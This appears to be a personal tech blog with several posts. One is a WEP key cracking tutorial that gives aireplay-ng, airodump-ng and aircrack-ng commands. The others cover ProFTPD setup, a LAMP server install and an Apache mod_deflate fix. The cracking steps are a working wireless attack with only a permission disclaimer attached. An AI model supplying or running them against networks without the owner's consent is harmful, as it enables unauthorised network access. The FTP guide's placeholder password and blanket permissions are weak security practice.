Wireless WEP Key Hacking

NOTE: This tutorial shows how easy it is to hack a WEP secured network it should not be replicated without the permission of the networks owner.

• log in as root
• Start the network device all devices are different so i cant walk you through it.
• Put the device in monitor mode and start it with airmon-ng
• monitor the channel and even the bssid of the target network until you find a connection to a station
• Take note of the stations MAC address and the BSSID
• set up the arpreplay command below but do not hit enter.
  • aireplay-ng –arpreplay -b [BSSID of the network] -h [Connected clients MAC address] [Interface]
• Next we preform a fake authentication with the network to speed up the ARP replies.
  • aireplay-ng -1 0 -a [BSSID of the network] -h [Connected clients MAC address] -e [ESSID or Network Name] [Interface]
• Hit enter on the fake authentication window then right away switch to the arpreplay window and press enter as well. If need be use Ctrl + C to repeat this process many times. It can take up to 15 mins for the ARP replies to come in. After which point you should try to authenticate again.
• Once the ARP replies start to come in open a new tab and log them with airodump-ng
  • airodump-ng -c [Channel] –bssid [BSSID of the network] -w [Capture file name] rausb0
• Wait for the Data to reach 80,000-100,000 then begin the actual cracking process.
  • aircrack-ng -z {This starts the PTW attack which is much faster} [Capture file name]

Thought I would make a post to ask you, the user, what can I do to make the site better? Features, Topics, Pages, etc. Please leave your suggestions in the comment section below.

As some of you may know I have taken down my old site. This is due to an overwhelming amount of  inexperienced users that were asking me to hack for them and basically wanting to have everything spoon fed to them.

I have decided that I will put up my site again except this time it will not be entirely based on hacking. I will post articles on computer related things that I feel are relevant and I assure you I will go into greater detail in one of my posts about the Wireless WEP Key Hacking video when I have some time!

For those legitimate users that honestly needed advise I apologize I was unable to answer a majority of your questions due to the overwhelming flood of noob questions

If you are a web designer, such as myself, you know the importance of having access to a web server through FTP. I just recently set up an FTP server on my Ubuntu Linux server using ProFTPD and I was surprised at how easy it was to setup and configure.This guide shows the few simple steps you can do to install ProFTPD on your Linux server.

Downloading / Installing

As with most software installations in Linux there are two ways you can install this package.

Apt-get:

Simply issue the following command:

sudo apt-get install proftpd gadmin-proftpd

When prompted to install the packages simply press Y to install the packages and their dependencies.

Synaptic:

To install through Synaptic Package Manager simply open the package manager (System > Administration > Synaptic Package Manager)

and Search for proftpd

Right click the packages proftpd and gadmin-proftpd (GUI Package) and select Mark for Installation.

At the top of your screen press Apply to install the packages and dependencies.

Configuration

Server Setup

Now its time to setup your sever so you can connect. In my example I will be setting up a user account for a web user as most of you will.

Open up the gadmin-proftpd GUI (Applications >System Tools > GADMIN-PROFTPD)

GAdmin-ProFTPD Main Screen

As seen in the picture above fill out the following fields

Server Address: 10.0.0.100 (The address of your FTP Server)

Server Name: Local FTP Server (This is used to describe the server)

Admin Email: admin@example.com (This is an administrative contact email address)

User Setup

Next you will need to add users to your ftp to connect.

ProFTPD User Menu

As seen in the picture above fill in the following fields.

NOTE: All of the following fields must be filled in before you press Add

Username: User (the user name you will use to login)

Password: Password (Used to authenticate user)

Group: administrator (Group of user)

NOTE: Don’t Press Add yet!

Click Add Directory at the bottom, this will open the “Explorer” window to browse for your directory. In my case I selected the /var/www for access to the web directory.

NOTE: Once you select the directory make sure you select every check box.

At this point you may click Add assuming all was filled out correct the new user will appear in the list.

Now start the server! At the top bar click Apply, this will apply any loose settings. Then click Deactivate and then Activate.

Connecting

Now that your server is setup you should try to connect to it.

Open your favorite FTP Client, I personally love FileZilla.

Enter the Host, User name and Password then click connect on your FTP Client and see if it works

Troubleshooting

If you run into problems first try restarting the ProFTPD server

sudo /etc/proftpd restart

If you have other problems please leave a comment below, I actively monitor my site and I will respond as soon as possible.

Ubuntu Linux is the most popular distribution of Linux. In this tutorial I will show you how to setup your own web server running LAMP (Linux, Apache, MySQL, PHP).

NOTE: I’m writing this guide assuming that you know how to setup and install Ubuntu Linux

Apache2 / PHP5 / MySQL

There are two ways you can install Apache, trough Synaptic Package Manager (System > Administration > Synaptic Package Manager) or using the apt-get command

Synaptic:

Simply go to Synaptic Package Manager and Search for Apache2, PHP5, mysql-server, mysql-client and phpmyadmin (if you choose)

right click each package and mark it for installation.

Then click apply and let it install, simple as that.

Apt-get:

Issue the following commands at the terminal (Applications > Accessories > Terminal)

sudo apt-get update
sudo apt-get install apache2 php5 mysql-server mysql-client

NOTE: I only included the php5 package, depending on your needs you will have to install additional packages, PHP will resolve the required dependencies. I also recommend installing the phpmyadmin package as well.

When prompted to install enter Y this will install Apache2, PHP5, mysql-server, mysql-client and their dependencies.

Testing the Apache server:

Once you have installed the Apache server you should test it by going to http://localhost/

The page should display

It Works!

Aditional Information:

If the page does not display when you go to local host try issuing the following command

sudo /etc/ini.d/apache2 restart

Also just FYI the document root for the web files is located at:

/var/www/

Problem

I had been working on updating one of my servers to Linux when I came Across a strange bug when using a certain script.

Apparently in Internet Explorer 6 GZip does not work, this is what compresses pages to make them load faster.

The result of this bug was that about half or the items in my script would not load and they returned blank pages.

Solution

After much research I found that the bug was in the mod_deflate module of apache.

First I had to go edit the file /etc/apache2/mods-enabled/deflate.conf

Once there I replaced the current content with the following

<IfModule mod_deflate.c>
AddOutputFilterByType DEFLATE text/html text/plain text/xml text/css text/javascript application/x-javascript
BrowserMatch ^Mozilla/4 gzip-only-text/html
BrowserMatch ^Mozilla/4\.[0678] no-gzip
BrowserMatch \bMSIE\s7Â !no-gzip !gzip-only-text/html
</IfModule>

Then all I needed to do was restart Apache (“sudo /etc/init.d/apache2 restart“) and it was fixed.

<IfModule mod_deflate.c>
          AddOutputFilterByType DEFLATE text/html text/plain text/xml text/css text/javascript application/x-javascript
	  BrowserMatch ^Mozilla/4 gzip-only-text/html
	  BrowserMatch ^Mozilla/4\.[0678] no-gzip
	  BrowserMatch \bMSIE\s7Â !no-gzip !gzip-only-text/html
</IfModule>
